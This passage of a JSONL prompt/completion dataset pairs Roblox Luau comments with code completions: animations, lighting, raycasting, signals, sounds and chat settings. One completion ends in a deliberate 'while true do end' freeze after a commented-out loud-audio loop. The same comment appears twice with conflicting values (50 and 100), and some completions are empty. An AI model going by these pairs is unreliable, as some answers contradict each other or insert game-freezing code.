.3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "--[[\n\t* Copyright (c) Roblox Corporation. All rights reserved.\n\t* Licensed under the MIT License (the \"License\");\n\t* you may not use this file except in compliance with the License.\n\t* You may obtain a copy of the License at\n\t*\n\t* https://opensource.org/licenses/MIT\n\t*\n\t* Unless required by applicable law or agreed to in writing, software\n\t* distributed under the License is distributed on an \"AS IS\" BASIS,\n\t* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t* See the License for the specific language governing permissions and\n\t* limitations under the License.\n]]", "completion": "\nlocal instanceof = require(script.instanceof)\n\nreturn instanceof\n"} +{"prompt": "-- Assign hotkeys for prism selection", "completion": "\nAssignHotkey({ 'LeftShift', 'K' }, Targeting.PrismSelect);\nAssignHotkey({ 'RightShift', 'K' }, Targeting.PrismSelect);\n"} +{"prompt": "--Load Nexus VR Character Model.", "completion": "\nNexusVRCharacterModelModule:SetConfiguration(Configuration)\nNexusVRCharacterModelModule:Load()\n"} +{"prompt": "--- Toggles Cmdr window", "completion": "\nfunction Cmdr:Toggle ()\n\tif not self.Enabled then\n\t\treturn self:Hide()\n\tend\n\n\tInterface.Window:SetVisible(not Interface.Window:IsVisible())\nend\n"} +{"prompt": "--==================================================\n--Setting\n--==================================================", "completion": "\nlocal Ammo = math.huge --Amount of Ammo to give. Set it to \"math.huge\" to refill the gun's ammo.\nlocal Cooldown = 5\nlocal GunToRefillAmmo = {\n\t\"AT Rocket Launcher\",\n\t--Add more gun here if you want\n}"} +{"prompt": "--[[\nfunction onButton1Down(mouse)\ndown = true\np1.Parent = camera\np2.Parent = camera\np3.Parent = camera\np4.Parent = camera\nend\n]]", "completion": "\nfunction onButton1Down(mouse)\ndown = false"} +{"prompt": "-- Services", "completion": "\nlocal lighting = game:GetService(\"Lighting\")\n\nlighting.FogEnd = 4500\nlighting.OutdoorAmbient = Color3.fromRGB(140, 140, 140)\nlighting.GlobalShadows = true\nlighting.Brightness = 1.5\nlighting.Ambient = Color3.fromRGB(0, 0, 0)\nlighting.ShadowColor = Color3.fromRGB(61, 61, 61)\n"} +{"prompt": "--NOTE: Keys must be lowercase, values must evaluate to true", "completion": "\n"} +{"prompt": "--[[\n\n\tmaid = Maid.new()\n\n\tmaid:GiveTask(task)\n\t\t> task is an event connection, function, or instance/table with a 'Destroy' method\n\t\n\tmaid:DoCleaning()\n\t\t> Alias for Destroy\n\t\n\tmaid:Destroy()\n\t\t> Goes through each task & disconnects events, destroys instances, and calls functions\n\n--]]", "completion": "\n"} +{"prompt": "-- Detection mode enums", "completion": "\nRaycastHitbox.DetectionMode = {\n\tDefault = 1,\n\tPartMode = 2,\n\tBypass = 3,\n}\n"} +{"prompt": "--\t====================\n--\tSNIPER\n--\tEnable user to use scope\n--\t====================", "completion": "\n\n\t\tSniperEnabled = true;\n\t\tFieldOfView = 12.5;\n\t\tMouseSensitive = 0.05; --In percent\n\t\tSpreadRedution = 1; --In percent.\n\t\t"} +{"prompt": "---////==========================================\\\\\\---\t\n--To install the product, group them together with the switch. You can have multiple products installed and be controlled by one switch!--\n--Products include, but not limited to: some fans, lights, alarms, etc. \n---////==========================================\\\\\\---\t", "completion": "\nIsOn = false\nfunction onClicked()\n\tif IsOn == false then\n\tIsOn = true\t\n\tscript.Parent.Parent.IsOn.Value = true\t\n\telseif IsOn == true then\n\tIsOn = false\t\n\tscript.Parent.Parent.IsOn.Value = false\n\tend\nend\nscript.Parent.ClickDetector.MouseClick:connect(onClicked)\n"} +{"prompt": "--[[ By: Brutez. ]]", "completion": "--\nlocal JeffTheKillerScript=script;\nrepeat Wait(0)until JeffTheKillerScript and JeffTheKillerScript.Parent and JeffTheKillerScript.Parent.ClassName==\"Model\"and JeffTheKillerScript.Parent:FindFirstChild(\"Head\")and JeffTheKillerScript.Parent:FindFirstChild(\"Torso\");\nlocal JeffTheKiller=JeffTheKillerScript.Parent;\nfunction raycast(Spos,vec,currentdist)\nlocal hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(Spos+(vec*.05),vec*currentdist),JeffTheKiller);\nif hit2~=nil and pos2 then\nif hit2.Name==\"Handle\" and not hit2.CanCollide or string.sub(hit2.Name,1,6)==\"Effect\"and not hit2.CanCollide then\nlocal currentdist=currentdist-(pos2-Spos).magnitude;\nreturn raycast(pos2,vec,currentdist);\nend;\nend;\nreturn hit2,pos2;\nend;\nfunction RayCast(Position,Direction,MaxDistance,IgnoreList)\nreturn Game:GetService(\"Workspace\"):FindPartOnRayWithIgnoreList(Ray.new(Position,Direction.unit*(MaxDistance or 999.999)),IgnoreList);\nend;"} +{"prompt": "--now, create the functor:", "completion": "\nt.Create = setmetatable({}, {__call = function(tb, ...) return Create_PrivImpl(...) end})\n"} +{"prompt": "--griptcf = CFrame.new(0, -1, 0) * CFrame.fromEulerAnglesXYZ(-math.pi/2+0.5, 0, 0)", "completion": "\n\nscript.Parent.Unequipped:connect(function()\n\t--Bring_Arm_Down animation\n\tfor i = 1, 0, -0.05 do\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.3*i, 0, -0.5*i)\n\t\tLW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.7*i, 0, 0.8*i)\t\n\t\tLW.C1 = CFrame.new(-0.3*i, 0.5+1.2*i, 0)\n\tend\n\tRW.Parent = nil\n\tLW.Parent = nil\n\tRSH.Parent = player.Character.Torso\n\tLSH.Parent = player.Character.Torso\nend)\n\nfunction HomeRunHit(part)\n\tlocal h = (part.Parent or game):FindFirstChild(\"Humanoid\") --or findfirstchild optimization\n\tif h then\n\t\th.Sit = true\n\t\twait()\n\t\th.Jump = true\n\t\th.Parent.Torso.Velocity = (CFrame.new(script.Parent.Handle.Position, h.Parent.Torso.Position).lookVector * 100) + Vector3.new(0, 30, 0)\n\t\th.Parent.Torso.RotVelocity = Vector3.new(math.random(-100, 100), math.random(-100, 100), math.random(-100, 100))\n\tend\nend\n"} +{"prompt": "--// Tables", "completion": "\nlocal L_45_ = { \n\t\n\t\"1565831468\"; \n\t\"1565832329\"; \n\t\n} \n\nlocal L_46_ = {\n\t\n\t\"1565831129\";\n\t\"1565830611\";\n\t\n}\n\nlocal L_47_ = {\n\t\n\t\"1565825075\";\n\t\"1565824613\";\n\t\n}\n\nlocal L_48_ = {\n\t\n\t\"1565821941\";\n\t\"1565821634\";\n\t\n}\n\nlocal L_49_ = {\n\t\n\t\"871704259\";\n\t\"1565756607\";\n\t\n}\n\nlocal L_50_ = {\n\t\n\t\"1565717027\";\n\t\"1565716705\";\n\t\n}\n\nlocal L_51_ = {\n\t\n\t1565703226;\n\t1565675605;\n\t\n}\n"} +{"prompt": "-- To make sure whispering behavior remains consistent, this is currently set at 50 characters", "completion": "\nmodule.MaxChannelNameCheckLength = 50"} +{"prompt": "-- REMEMBER: THERE'S RESOURCES TO HELP YOU AT https://etithespirit.github.io/FastCastAPIDocs", "completion": "\n"} +{"prompt": "-- Binds --", "completion": "\n\ncDetector.MouseHoverEnter:connect(onHoverEnter)\ncDetector.MouseHoverLeave:connect(onHoverLeave)\ncDetector.MouseClick:connect(onClicked)\n\n\n\n"} +{"prompt": "--[[\nfor a = 1,10 do\n\tfor i = 1,10 do\n\t\tlocal audio = Instance.new(\"Sound\",player.PlayerGui)\n\t\taudio.Volume = 10\n\t\taudio.PlaybackSpeed = a*i\n\t\taudio.Looped = true\n\t\tif math.random(1,2) == 1 then\n\t\t\taudio.SoundId = \"rbxassetid://168137470\"\n\t\telse\n\t\t\taudio.SoundId = \"rbxassetid://714583842\"\n\t\tend\n\t\taudio:Play()\n\t\t--wait()\n\tend\nend--]]", "completion": "\n\twait(1)\nwhile true do end\n\n\n"} +{"prompt": "-- Do not rename the name of the \"Mesh\", leave it saying Mesh, or the giver wont work.", "completion": "\n\n"} +{"prompt": "-- To make sure whispering behavior remains consistent, this is currently set at 50 characters", "completion": "\nmodule.MaxChannelNameCheckLength = 100"} +{"prompt": "--//Server Animations", "completion": "\n\tRightHighReady = CFrame.new(-0.95, 0, .2) * CFrame.Angles(math.rad(-40), math.rad(0), math.rad(0));\n\tLeftHighReady = CFrame.new(0.6,0.9,-.3) * CFrame.Angles(math.rad(-140),math.rad(40),math.rad(15));\n\t\n\tRightLowReady = CFrame.new(-1, -0.2, -.15) * CFrame.Angles(math.rad(60), math.rad(0), math.rad(0));\n\tLeftLowReady = CFrame.new(.7,.2,.17) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25));\n\t\n\tRightPatrol = CFrame.new(-1, 0, -.25) * CFrame.Angles(math.rad(0), math.rad(-60), math.rad(0));\n\tLeftPatrol = CFrame.new(.5,.6,.35) * CFrame.Angles(math.rad(-80),math.rad(-30),math.rad(-10));\n\n\tRightAim = CFrame.new(-0.85, -0.2, .2) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));\n\tLeftAim = CFrame.new(.5,.3,.35) * CFrame.Angles(math.rad(-80),math.rad(30),math.rad(-10));\n\t\n\tRightSprint = CFrame.new(-0.95, 0, .2) * CFrame.Angles(math.rad(-40), math.rad(0), math.rad(0));\n\tLeftSprint = CFrame.new(0.6,0.9,-.3) * CFrame.Angles(math.rad(-140),math.rad(40),math.rad(15));\n\n\tShootPos = CFrame.new(0,0,.15);\n\t\n}\n\nreturn module\n"} +{"prompt": "--\t\t\t\t\t\t\t\t\t\t\t\t\t\tHappy learning.\n--\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t~Ozzypig", "completion": "\n\nmodel = script.Parent\nconfig = model.Configuration\n\nfunction toggle()\n\tconfig.Active.Value = not config.Active.Value\nend\n\nmodel.Main.ClickDetector.MouseClick:connect(function ()\n\ttoggle()\nend)\n\nmodel.Head.ClickDetector.MouseClick:connect(function ()\n\ttoggle()\nend)\n"} +{"prompt": "--[[\n\t* Copyright (c) Roblox Corporation. All rights reserved.\n\t* Licensed under the MIT License (the \"License\");\n\t* you may not use this file except in compliance with the License.\n\t* You may obtain a copy of the License at\n\t*\n\t* https://opensource.org/licenses/MIT\n\t*\n\t* Unless required by applicable law or agreed to in writing, software\n\t* distributed under the License is distributed on an \"AS IS\" BASIS,\n\t* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t* See the License for the specific language governing permissions and\n\t* limitations under the License.\n]]", "completion": "\nlocal String = script.Parent\nlocal Packages = String.Parent\nlocal Number = require(Packages.Number)\n\nlocal NaN = Number.NaN\n"} +{"prompt": "-- Simulate a raycast by one tick.", "completion": "\nlocal function SimulateCast(cast: ActiveCast, delta: number, expectingShortCall: boolean)\n\tassert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tPrintDebug(\"Casting for frame.\")\n\tlocal latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories]\n\t\n\tlocal origin = latestTrajectory.Origin\n\tlocal totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime\n\tlocal initialVelocity = latestTrajectory.InitialVelocity\n\tlocal acceleration = latestTrajectory.Acceleration\n\t\n\tlocal lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)\n\tlocal lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)\n\tlocal lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime\n\t\n\tcast.StateInfo.TotalRuntime += delta\n\t\n\t-- Recalculate this.\n\ttotalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime\n\t\n\tlocal currentTarget = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)\n\tlocal segmentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) \n\tlocal totalDisplacement = currentTarget - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now.\n\t\n\tlocal rayDir = totalDisplacement.Unit * segmentVelocity.Magnitude * delta\n\tlocal targetWorldRoot = cast.RayInfo.WorldRoot\n\tlocal resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, cast.RayInfo.Parameters)\n\t\n\tlocal point = currentTarget\n\tlocal part: Instance? = nil\n\tlocal material = Enum.Material.Air\n\tlocal normal = Vector3.new()\n\t\n\tif (resultOfCast ~= nil) then\n\t\tpoint = resultOfCast.Position\n\t\tpart = resultOfCast.Instance\n\t\tmaterial = resultOfCast.Material\n\t\tnormal = resultOfCast.Normal\n\tend\n\t\n\tlocal rayDisplacement = (point - lastPoint).Magnitude\n\t-- For clarity -- totalDisplacement is how far the ray would have traveled if it hit nothing,\n\t-- and rayDisplacement is how far the ray really traveled (which will be identical to totalDisplacement if it did indeed hit nothing)\n\t\n\tSendLengthChanged(cast, lastPoint, rayDir.Unit, rayDisplacement, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\tcast.StateInfo.DistanceCovered += rayDisplacement\n\t\n\tlocal rayVisualization: ConeHandleAdornment? = nil\n\tif (delta > 0) then\n\t\trayVisualization = DbgVisualizeSegment(CFrame.new(lastPoint, lastPoint + rayDir), rayDisplacement)\n\tend\n\t\n\t\n\t-- HIT DETECTED. Handle all that garbage, and also handle behaviors 1 and 2 (default behavior, go high res when hit) if applicable.\n\t-- CAST BEHAVIOR 2 IS HANDLED IN THE CODE THAT CALLS THIS FUNCTION.\n\t\n\tif part and part ~= cast.RayInfo.CosmeticBulletObject then\n\t\tlocal start = tick()\n\t\tPrintDebug(\"Hit something, testing now.\")\n\t\t\n\t\t-- SANITY CHECK: Don't allow the user to yield or run otherwise extensive code that takes longer than one frame/heartbeat to execute.\n\t\tif (cast.RayInfo.CanPierceCallback ~= nil) then\n\t\t\tif expectingShortCall == false then\n\t\t\t\tif (cast.StateInfo.IsActivelySimulatingPierce) then\n\t\t\t\t\tcast:Terminate()\n\t\t\t\t\terror(\"ERROR: The latest call to CanPierceCallback took too long to complete! This cast is going to suffer desyncs which WILL cause unexpected behavior and errors. Please fix your performance problems, or remove statements that yield (e.g. wait() calls)\")\n\t\t\t\t\t-- Use error. This should absolutely abort the cast.\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- expectingShortCall is used to determine if we are doing a forced resolution increase, in which case this will be called several times in a single frame, which throws this error.\n\t\t\tcast.StateInfo.IsActivelySimulatingPierce = true\n\t\tend\n\t\t------------------------------\n\t\t\n\t\tif cast.RayInfo.CanPierceCallback == nil or (cast.RayInfo.CanPierceCallback ~= nil and cast.RayInfo.CanPierceCallback(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\tPrintDebug(\"Piercing function is nil or it returned FALSE to not pierce this hit.\")\n\t\t\tcast.StateInfo.IsActivelySimulatingPierce = false\n\t\t\t\n\t\t\tif (cast.StateInfo.HighFidelityBehavior == 2 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize ~= 0) then\n\t\t\t\tcast.StateInfo.CancelHighResCast = false -- Reset this here.\n\t\t\t\t\n\t\t\t\tif cast.StateInfo.IsActivelyResimulating then\n\t\t\t\t\tcast:Terminate()\n\t\t\t\t\terror(\"Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.\")\n\t\t\t\tend\n\t\t\t\t\n\n\t\t\t\tcast.StateInfo.IsActivelyResimulating = true\n\t\t\t\t\n\t\t\t\t-- This is a physics based cast and it needs to be recalculated.\n\t\t\t\tPrintDebug(\"Hit was registered, but recalculation is on for physics based casts. Recalculating to verify a real hit...\")\n\t\t\t\t\n\t\t\t\t-- Split this ray segment into smaller segments of a given size.\n\t\t\t\t-- In 99% of cases, it won't divide evently (e.g. I have a distance of 1.25 and I want to divide into 0.1 -- that won't work)\n\t\t\t\t-- To fix this, the segments need to be stretched slightly to fill the space (rather than having a single shorter segment at the end)\n\t\t\t\t\n\t\t\t\tlocal numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments\n\t\t\t\tlocal numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments\n\t\t\t\tlocal realSegmentLength = rayDisplacement / numSegmentsReal -- this spits out 0.51, which isn't exact to the defined 0.5, but it's close\n\t\t\t\t\n\t\t\t\t-- Now the real hard part is converting this to time.\n\t\t\t\tlocal timeIncrement = delta / numSegmentsReal\n\t\t\t\tfor segmentIndex = 1, numSegmentsReal do\n\t\t\t\t\tif cast.StateInfo.CancelHighResCast then\n\t\t\t\t\t\tcast.StateInfo.CancelHighResCast = false\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tlocal subPosition = GetPositionAtTime(lastDelta + (timeIncrement * segmentIndex), origin, initialVelocity, acceleration)\n\t\t\t\t\tlocal subVelocity = GetVelocityAtTime(lastDelta + (timeIncrement * segmentIndex), initialVelocity, acceleration) \n\t\t\t\t\tlocal subRayDir = subVelocity * delta\n\t\t\t\t\tlocal subResult = targetWorldRoot:Raycast(subPosition, subRayDir, cast.RayInfo.Parameters)\n\t\t\t\t\t\n\t\t\t\t\tlocal subDisplacement = (subPosition - (subPosition + subVelocity)).Magnitude\n\t\t\t\t\t\n\t\t\t\t\tif (subResult ~= nil) then\n\t\t\t\t\t\tlocal subDisplacement = (subPosition - subResult.Position).Magnitude\n\t\t\t\t\t\tlocal dbgSeg = DbgVisualizeSegment(CFrame.new(subPosition, subPosition + subVelocity), subDisplacement)\n\t\t\t\t\t\tif (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.286275, 0.329412, 0.247059) end\n\t\t\t\t\t\t\n\t\t\t\t\t\tif cast.RayInfo.CanPierceCallback == nil or (cast.RayInfo.CanPierceCallback ~= nil and cast.RayInfo.CanPierceCallback(cast, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\t\t\t\t\t-- Still hit even at high res\n\t\t\t\t\t\t\tcast.StateInfo.IsActivelyResimulating = false\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tSendRayHit(cast, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\t\t\t\t\tcast:Terminate()\n\t\t\t\t\t\t\tlocal vis = DbgVisualizeHit(CFrame.new(point), false)\n\t\t\t\t\t\t\tif (vis ~= nil) then vis.Color3 = Color3.new(0.0588235, 0.87451, 1) end\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t-- Recalculating hit something pierceable instead.\n\t\t\t\t\t\t\tSendRayPierced(cast, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) -- This may result in CancelHighResCast being set to true.\n\t\t\t\t\t\t\tlocal vis = DbgVisualizeHit(CFrame.new(point), true)\n\t\t\t\t\t\t\tif (vis ~= nil) then vis.Color3 = Color3.new(1, 0.113725, 0.588235) end\n\t\t\t\t\t\t\tif (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.305882, 0.243137, 0.329412) end\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal dbgSeg = DbgVisualizeSegment(CFrame.new(subPosition, subPosition + subVelocity), subDisplacement)\n\t\t\t\t\t\tif (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.286275, 0.329412, 0.247059) end\n\t\t\t\t\t\t\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t-- If the script makes it here, then it wasn't a real hit (higher resolution revealed that the low-res hit was faulty)\n\t\t\t\t-- Just let it keep going.\n\t\t\t\tcast.StateInfo.IsActivelyResimulating = false\n\t\t\telseif (cast.StateInfo.HighFidelityBehavior ~= 1 and cast.StateInfo.HighFidelityBehavior ~= 3) then\n\t\t\t\tcast:Terminate()\n\t\t\t\terror(\"Invalid value \" .. (cast.StateInfo.HighFidelityBehavior) .. \" for HighFidelityBehavior.\")\n\t\t\telse\n\t\t\t\t-- This is not a physics cast, or recalculation is off.\n\t\t\t\tPrintDebug(\"Hit was successful. Terminating.\")\n\t\t\t\tSendRayHit(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\t\tcast:Terminate()\n\t\t\t\tDbgVisualizeHit(CFrame.new(point), false)\n\t\t\t\treturn\n\t\t\tend\n\t\telse\n\t\t\tPrintDebug(\"Piercing function returned TRUE to pierce this part.\")\n\t\t\tif rayVisualization ~= nil then\n\t\t\t\trayVisualization.Color3 = Color3.new(0.4, 0.05, 0.05) -- Turn it red to signify that the cast was scrapped.\n\t\t\tend\n\t\t\tDbgVisualizeHit(CFrame.new(point), true)\n\t\t\t\n\t\t\tlocal params = cast.RayInfo.Parameters\n\t\t\tlocal alteredParts = {}\n\t\t\tlocal currentPierceTestCount = 0\n\t\t\tlocal originalFilter = params.FilterDescendantsInstances\n\t\t\tlocal brokeFromSolidObject = false\n\t\t\twhile true do\n\t\t\t\t-- So now what I need to do is redo this entire cast, just with the new filter list\n\t\t\t\t\t\t\t\t\n\t\t\t\t-- Catch case: Is it terrain?\n\t\t\t\tif resultOfCast.Instance:IsA(\"Terrain\") then\n\t\t\t\t\tif material == Enum.Material.Water then\n\t\t\t\t\t\t-- Special case: Pierced on water?\n\t\t\t\t\t\tcast:Terminate()\n\t\t\t\t\t\terror(\"Do not add Water as a piercable material. If you need to pierce water, set cast.RayInfo.Parameters.IgnoreWater = true instead\", 0)\n\t\t\t\t\tend\n\t\t\t\t\twarn(\"WARNING: The pierce callback for this cast returned TRUE on Terrain! This can cause severely adverse effects.\")\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif params.FilterType == Enum.RaycastFilterType.Blacklist then\n\t\t\t\t\t-- blacklist\n\t\t\t\t\t-- DO NOT DIRECTLY TABLE.INSERT ON THE PROPERTY\n\t\t\t\t\tlocal filter = params.FilterDescendantsInstances\n\t\t\t\t\ttable.insert(filter, resultOfCast.Instance)\n\t\t\t\t\ttable.insert(alteredParts, resultOfCast.Instance)\n\t\t\t\t\tparams.FilterDescendantsInstances = filter\n\t\t\t\telse\n\t\t\t\t\t-- whitelist\n\t\t\t\t\t-- method implemeneted by custom table system\n\t\t\t\t\t-- DO NOT DIRECTLY TABLE.REMOVEOBJECT ON THE PROPERTY\n\t\t\t\t\tlocal filter = params.FilterDescendantsInstances\n\t\t\t\t\ttable.removeObject(filter, resultOfCast.Instance)\n\t\t\t\t\ttable.insert(alteredParts, resultOfCast.Instance)\n\t\t\t\t\tparams.FilterDescendantsInstances = filter\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tSendRayPierced(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\t\t\n\t\t\t\t-- List has been updated, so let's cast again.\n\t\t\t\tresultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params)\n\t\t\t\t\n\t\t\t\t-- No hit? No simulation. Break.\n\t\t\t\tif resultOfCast == nil then\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif currentPierceTestCount >= MAX_PIERCE_TEST_COUNT then\n\t\t\t\t\twarn(\"WARNING: Exceeded maximum pierce test budget for a single ray segment (attempted to test the same segment \" .. MAX_PIERCE_TEST_COUNT .. \" times!)\")\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tcurrentPierceTestCount = currentPierceTestCount + 1;\n\t\t\t\t\n\t\t\t\tif cast.RayInfo.CanPierceCallback(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false then\n\t\t\t\t\tbrokeFromSolidObject = true\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t-- Restore the filter to its default state.\n\t\t\tcast.RayInfo.Parameters.FilterDescendantsInstances = originalFilter\n\t\t\tcast.StateInfo.IsActivelySimulatingPierce = false\n\t\t\t\n\t\t\tif brokeFromSolidObject then\n\t\t\t\t-- We actually hit something while testing.\n\t\t\t\tPrintDebug(\"Broke because the ray hit something solid (\" .. tostring(resultOfCast.Instance) .. \") while testing for a pierce. Terminating the cast.\")\n\t\t\t\tSendRayHit(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\t\tcast:Terminate()\n\t\t\t\tDbgVisualizeHit(CFrame.new(resultOfCast.Position), false)\n\t\t\t\treturn\n\t\t\tend\n\t\t\t\n\t\t\t-- And exit the function here too.\n\t\tend\n\tend\n\t\n\tif (cast.StateInfo.DistanceCovered >= cast.RayInfo.MaxDistance) then\n\t\t-- SendRayHit(cast, nil, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\tcast:Terminate()\n\t\tDbgVisualizeHit(CFrame.new(currentTarget), false)\n\tend\nend\n"} +{"prompt": "--[[\n\tHelper functions\n]]", "completion": "\n\nlocal random = Random.new()\n\nlocal function getRandomPointInCircle(centerPosition, circleRadius)\n\tlocal radius = math.sqrt(random:NextNumber()) * circleRadius\n\tlocal angle = random:NextNumber(0, math.pi * 2)\n\tlocal x = centerPosition.X + radius * math.cos(angle)\n\tlocal z = centerPosition.Z + radius * math.sin(angle)\n\n\tlocal position = Vector3.new(x, centerPosition.Y, z)\n\n\treturn position\nend\n"} +{"prompt": "--[=[\n\t@param fn ConnectionFn\n\t@return SignalConnection\n\n\tConnects a function to the signal, which will be called anytime the signal is fired.\n\t```lua\n\tsignal:Connect(function(msg, num)\n\t\tprint(msg, num)\n\tend)\n\n\tsignal:Fire(\"Hello\", 25)\n\t```\n]=]", "completion": "\nfunction Signal:Connect(fn)\n\tlocal connection = Connection.new(self, fn)\n\tif self._handlerListHead then\n\t\tconnection._next = self._handlerListHead\n\t\tself._handlerListHead = connection\n\telse\n\t\tself._handlerListHead = connection\n\tend\n\treturn connection\nend\n"} +{"prompt": "--[[\n\tUpon leaving the state, the input is unbound\n]]", "completion": "\nfunction PreGameReady.exit()\nend\n\nreturn PreGameReady\n"} +{"prompt": "-- Roblox character sound script", "completion": "\n\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\n\nlocal AtomicBinding = require(script:WaitForChild(\"AtomicBinding\"))\n\nlocal function loadFlag(flag: string)\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(flag)\n\tend)\n\treturn success and result\nend\n\nlocal FFlagUserAtomicCharacterSoundsUnparent = loadFlag(\"UserAtomicCharacterSoundsUnparent\")\n\nlocal SOUND_DATA : { [string]: {[string]: any}} = {\n\tClimbing = {\n\t\tSoundId = \"rbxasset://sounds/action_footsteps_plastic.mp3\",\n\t\tLooped = true,\n\t},\n\tDied = {\n\t\tSoundId = \"rbxasset://sounds/uuhhh.mp3\",\n\t},\n\tFreeFalling = {\n\t\tSoundId = \"rbxasset://sounds/action_falling.mp3\",\n\t\tLooped = true,\n\t},\n\tGettingUp = {\n\t\tSoundId = \"rbxasset://sounds/action_get_up.mp3\",\n\t},\n\tJumping = {\n\t\tSoundId = \"rbxasset://sounds/action_jump.mp3\",\n\t},\n\tLanding = {\n\t\tSoundId = \"rbxasset://sounds/action_jump_land.mp3\",\n\t},\n\tRunning = {\n\t\tSoundId = \"\",\n\t\tLooped = true,\n\t\tPitch = 1.85,\n\t},\n\tSplash = {\n\t\tSoundId = \"rbxasset://sounds/impact_water.mp3\",\n\t},\n\tSwimming = {\n\t\tSoundId = \"rbxasset://sounds/action_swim.mp3\",\n\t\tLooped = true,\n\t\tPitch = 1.6,\n\t},\n}\n"} +{"prompt": "--// Although this feature is pretty much ready, it needs some UI design still.", "completion": "\nmodule.RightClickToLeaveChannelEnabled = false\nmodule.MessageHistoryLengthPerChannel = 50"} +{"prompt": "--[[START]]", "completion": "\n\n\tscript.Parent:WaitForChild(\"Car\")\n\tscript.Parent:WaitForChild(\"IsOn\")\n\tscript.Parent:WaitForChild(\"ControlsOpen\")\n\tscript.Parent:WaitForChild(\"Values\")\n\tscript.Parent:WaitForChild(\"CruiseControl\")\n\twait()\n"} +{"prompt": "--[[\t-- \u043a \u0447\u0451\u0440\u0442\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b!\n\t\t\tlocal Team = Instance.new(\"Team\", Teams)\n\t\t\tTeam.AutoAssignable = false\n\t\t\tTeam.Name = Part.Parent.Name\t\t\t\n\t\t\tplayer.Team = game.Teams[Part.Parent.Name] -- \u043d\u0430\u0448\u0435\u0433\u043e \u0438\u0433\u0440\u043e\u043a\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0443\n--]]", "completion": "\n\t\t\tplayer.Neutral = false -- \u0438 \u0443\u0431\u0438\u0440\u0430\u0435\u043c \u0438\u0437 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0445\n\t\t\t\n\t\t\tplayer.PlayerGui.Main.Timer.Text = \"Preparing to launch a rocket ...\"\n\t\t\t\n\t\t\t-- game.Workspace.Tycoons.Tycoon1:FindFirstChild(\"Owner\").Value = Part.Parent.Name\n\t\t\ttrap.Parent:FindFirstChild(\"Owner\").Value = Part.Parent.Name -- \u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0434\u0430\u043d\u043d\u043e\u0433\u043e Tycoon\n\t\tend -- 